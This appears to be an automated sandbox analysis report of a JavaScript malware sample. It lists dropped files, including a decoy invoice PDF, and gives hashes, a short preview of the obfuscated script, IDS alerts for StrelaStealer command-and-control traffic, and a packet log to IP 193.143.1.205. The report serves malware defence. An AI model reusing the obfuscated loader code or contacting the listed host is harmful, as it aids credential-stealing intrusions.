Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.387342555603705
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rD:Us
MD5:	8C780879DCCF8819D32349B6C0977865
SHA1:	FD55F9D28D032552705FBFBDBF6D5379DFB50F11
SHA-256:	E99F5976366731DB8A14303BAE1223636554FE6708968AF05B1DF3267F91FF3B
SHA-512:	DB4F83536E968AA54A27F04FC0F82DBBD28E7F1C74944C8699A82A36DEFE540BE842CDB15EF969EE86E8F722D94A9899B2AC42D09E8536A5FB9F4EC6BC758F3E
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\52710b36-c894-4613-9086-ec5b2ea2756e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\941dde88-66fa-4d49-8288-ea45e862f9f6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\e062452d-b168-4e43-a996-343a799187f4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6DaWL07oXGZGwYIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:caWLxXGZGwZGh3mlind9i4ufFXpAXkru
MD5:	7867DAFF192926A49EB7516D226D452F
SHA1:	BD0B185B12DB865CEA23060A9789C6B2D814B62E
SHA-256:	C7586BA81615BBAA63DA0D81CE18C0D087D1237500C99C35239A4D3CAEED2934
SHA-512:	B556042E82056983EA6A69AEE0DAB370641437EF6239FD04676FC26EC9472C6E5EF6194885C165E3987E8019321DCD9B4A574EA7A6253AC3C9468434AEAA0C21
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f2579474-134a-425a-a28c-d8f5023af449.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/v7wYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZd:rwZG2b3mlind9i4ufFXpAXkrfUs0qWLk
MD5:	74354F455A14E17901132DD407C38074
SHA1:	5614FE245851D53503B5A79607B1EBC28342B184
SHA-256:	CF4BDA2E9AFC466FB0704262A02D1218F4F3AABCE1E553A20DDF0014519180D3
SHA-512:	1B4BB5D54868DCC6E5DF82EF408139FA06DB3FAF1671083363B4407C916739057121562BD58F64554F7277D864AD719C07EA9EEE5AF941281C67D618D2CF3649
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17262), with CRLF line terminators
Entropy (8bit):	4.912484246651477
TrID:
File name:	2151829461519612017.js
File size:	20'771 bytes
MD5:	aae31c08ce94da4724bf7be97064d83e
SHA1:	352369c4cc371d720a3c918b3c5e7cda3b6aa5cb
SHA256:	4e788f7396b6ebe04fbaf379f4a5eac97b8132c70d18f9422ee5e1883a38b968
SHA512:	73ed4c2adee6a8565a8f3d34e8fcc9b416fe07ae32da52682602da782807d054f6872d955f9b9e102db307c37d34ed1ed21daad5539a15ea820278e5ece1f4a0
SSDEEP:	192:WZkVQAJ4r1CyGNpr9IwtrGkvBtfBfMvKnXJPJLJ5EMlGbMu9PGuU:lVv2r8yGNpr9Iw1GkvLBd5htpYMupU
TLSH:	0E9231D3DD81D95248CA1421D4FF5AFB43BC77488160987B1CD7E96D1E43A21B8E2AB3
File Content Preview:	function jenrmlzlo(){duied=[1031,3079,5127,4103,2055,3072];var iwbdu=this[vaxuxjxks+hqpfmz+baxcs+bdgjeugw+jgzrzdice+vpgbn+cjtupupm+jyijrl](this[aogyhj+yqcts+kenspd+baxcs+wqhhgwgx+vaxuxjxks+jyijrl][qexytdye+baxcs+jgzrzdice+hqpfmz+jyijrl+jgzrzdice+mtrtvy+zq

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T03:41:59.650787+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T03:41:59.650787+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T03:42:02.746083+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:41:58.830044031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:58.834913015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:58.835122108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:58.838325977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:58.843069077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.650527000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.650552034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.650578022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.650593996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.650612116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.650624037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.650787115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.650787115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.650800943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.650819063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.650877953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.651051998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.651099920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.655678034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.655750036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.655764103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.655798912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.699203014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.704845905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.704888105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.704967976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.775264978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.775352001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.775388002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.775476933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.775501013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.775536060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.775562048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.775686026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.775738001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.775743008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.775985003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.776038885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.776119947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.776153088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.776206017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.776267052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.776642084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.776679039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.776698112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.776715040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.776766062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.776843071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.776876926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.776926994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.777475119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.777539968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.777575016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.777587891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.777728081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.777761936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.777772903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.824198008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.835601091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.835653067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.835737944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.881865978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.881903887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.881916046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.881983042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.899399042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.899494886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.899496078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.899507046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.899560928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.899602890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.899784088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.899795055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.899828911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.899871111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.899912119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.899985075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.899996996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.900053024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.900218964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.900296926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.900336027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.900430918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.900443077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.900485039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.900626898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.900639057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.900676966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.900906086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.901001930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.901012897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.901042938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.901236057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.901247978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.901272058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.901293039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.901319981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.901622057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.901823044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.901866913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.901938915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.902003050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.902014017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.902044058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.902228117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.902240038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.902251959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.902314901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.902714014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.902888060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.902904987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.902931929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:41:59.902991056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.903012037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:41:59.903024912 CET	80	49730	193.143.1.205	192.168.2.4
